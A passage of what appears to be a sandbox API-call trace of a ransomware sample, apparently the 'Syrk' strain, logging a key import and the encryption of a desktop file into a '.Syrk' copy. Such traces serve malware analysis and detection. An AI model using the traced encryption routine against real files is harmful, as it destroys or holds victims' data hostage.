(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0190.942] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.942] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0190.942] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.942] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0190.942] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0190.942] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.942] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0190.942] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.943] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0190.943] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0190.943] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.943] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0190.943] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.943] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0190.943] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0190.943] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.943] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0190.943] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.943] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0190.943] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0190.943] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.944] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0190.944] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.944] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0190.944] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0190.944] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.944] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0190.944] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.944] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0190.944] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0190.944] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.944] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0190.944] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.944] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0190.944] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0190.944] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.945] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0190.945] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.945] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0190.945] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0190.945] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0190.945] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0190.945] SystemFunction041 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0190.945] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0190.945] SystemFunction040 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0190.946] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0190.946] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0190.946] SystemFunction041 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0190.946] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0190.946] SystemFunction040 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0190.946] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0190.946] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0190.946] SystemFunction041 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0190.946] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0190.946] SystemFunction040 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0190.946] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0190.946] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0190.946] SystemFunction041 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0190.946] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0190.947] SystemFunction040 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0190.947] EtwEventActivityIdControl () returned 0x0 [0190.947] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0190.947] SystemFunction041 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0190.947] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0190.947] SystemFunction040 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0190.949] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x373700) returned 1 [0190.950] CryptImportKey (in: hProv=0x373700, pbData=0x238e9e4*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c69000) returned 1 [0190.951] CryptContextAddRef (hProv=0x373700, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.951] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.952] EtwEventActivityIdControl () returned 0x0 [0190.952] EtwEventActivityIdControl () returned 0x0 [0190.952] EtwEventActivityIdControl () returned 0x0 [0190.975] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3")) returned 0x20 [0190.976] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3")) returned 0x20 [0190.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0190.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", lpFilePart=0x0) returned 0x31 [0190.978] EtwEventActivityIdControl () returned 0x0 [0190.983] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.984] EtwEventActivityIdControl () returned 0x0 [0190.984] EtwEventActivityIdControl () returned 0x0 [0190.984] EtwEventActivityIdControl () returned 0x0 [0190.988] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0190.989] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", lpFilePart=0x0) returned 0x31 [0190.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0190.989] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0190.989] GetFileType (hFile=0x45c) returned 0x1 [0190.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0190.989] GetFileType (hFile=0x45c) returned 0x1 [0190.989] EtwEventActivityIdControl () returned 0x0 [0190.990] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.990] EtwEventActivityIdControl () returned 0x0 [0190.990] EtwEventActivityIdControl () returned 0x0 [0190.990] EtwEventActivityIdControl () returned 0x0 [0190.991] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0190.991] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3.Syrk", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3.Syrk", lpFilePart=0x0) returned 0x36 [0190.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0190.992] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x344 [0190.992] GetFileType (hFile=0x344) returned 0x1 [0190.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0190.992] GetFileType (hFile=0x344) returned 0x1 [0190.992] EtwEventActivityIdControl () returned 0x0 [0190.993] CryptGenRandom (in: hProv=0x373700, dwLen=0x10, pbBuffer=0x239fc14 | out: pbBuffer=0x239fc14) returned 1 [0190.994] CryptContextAddRef (hProv=0x373700, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.994] CryptDuplicateKey (in: hKey=0x5c69000, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c68f40) returned 1 [0190.994] CryptContextAddRef (hProv=0x373700, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.995] CryptSetKeyParam (hKey=0x5c68f40, dwParam=0x4, pbData=0x23a1078*=0x1, dwFlags=0x0) returned 1 [0190.995] CryptSetKeyParam (hKey=0x5c68f40, dwParam=0x1, pbData=0x23a1044, dwFlags=0x0) returned 1 [0190.995] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.996] EtwEventActivityIdControl () returned 0x0 [0190.996] EtwEventActivityIdControl () returned 0x0 [0190.996] EtwEventActivityIdControl () returned 0x0 [0190.997] EtwEventActivityIdControl () returned 0x0 [0190.997] ReadFile (in: hFile=0x45c, lpBuffer=0x23a3ce0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x23a3ce0*, lpNumberOfBytesRead=0x5a2ea0c*=0x116d, lpOverlapped=0x0) returned 1 [0190.999] CryptEncrypt (in: hKey=0x5c68f40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23b7cf8*, pdwDataLen=0x5a2ea00*=0x1160, dwBufLen=0x1160 | out: pbData=0x23b7cf8*, pdwDataLen=0x5a2ea00*=0x1160) returned 1 [0190.999] WriteFile (in: hFile=0x344, lpBuffer=0x239fd60*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x239fd60*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0191.011] ReadFile (in: hFile=0x45c, lpBuffer=0x23a3ce0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x23a3ce0*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0191.011] CryptEncrypt (in: hKey=0x5c68f40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23b8f04*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x23b8f04*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0191.011] CryptEncrypt (in: hKey=0x5c68f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23b8f20*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x23b8f20*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0191.011] WriteFile (in: hFile=0x344, lpBuffer=0x239fd60*, nNumberOfBytesToWrite=0x184, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x239fd60*, lpNumberOfBytesWritten=0x5a2ea38*=0x184, lpOverlapped=0x0) returned 1 [0191.012] CloseHandle (hObject=0x344) returned 1 [0191.013] CloseHandle (hObject=0x45c) returned 1 [0191.013] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.014] EtwEventActivityIdControl () returned 0x0 [0191.014] EtwEventActivityIdControl () returned 0x0 [0191.014] EtwEventActivityIdControl () returned 0x0 [0191.020] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3")) returned 0x20 [0191.022] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0191.022] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", lpFilePart=0x0) returned 0x31 [0191.022] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0191.022] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0191.022] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0191.022] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0191.023] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0191.023] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0191.023] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0191.023] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0191.023] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0191.023] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0191.023] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0191.023] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0191.023] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0191.024] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0191.024] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0191.024] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0191.024] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0191.024] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0191.024] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0191.024] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", lpFilePart=0x0) returned 0x28 [0191.024] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3")) returned 0x20 [0191.024] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0191.024] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", lpFilePart=0x0) returned 0x31 [0191.027] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0191.027] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", lpFilePart=0x0) returned 0x31 [0191.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0191.027] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0191.028] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", lpFilePart=0x0) returned 0x31 [0191.028] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0191.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0191.028] CoTaskMemAlloc (cb=0x404) returned 0x5c632d0 [0191.028] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c632d0, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0191.029] CoTaskMemFree (pv=0x5c632d0) [0191.035] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3")) returned 0x20 [0191.036] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | 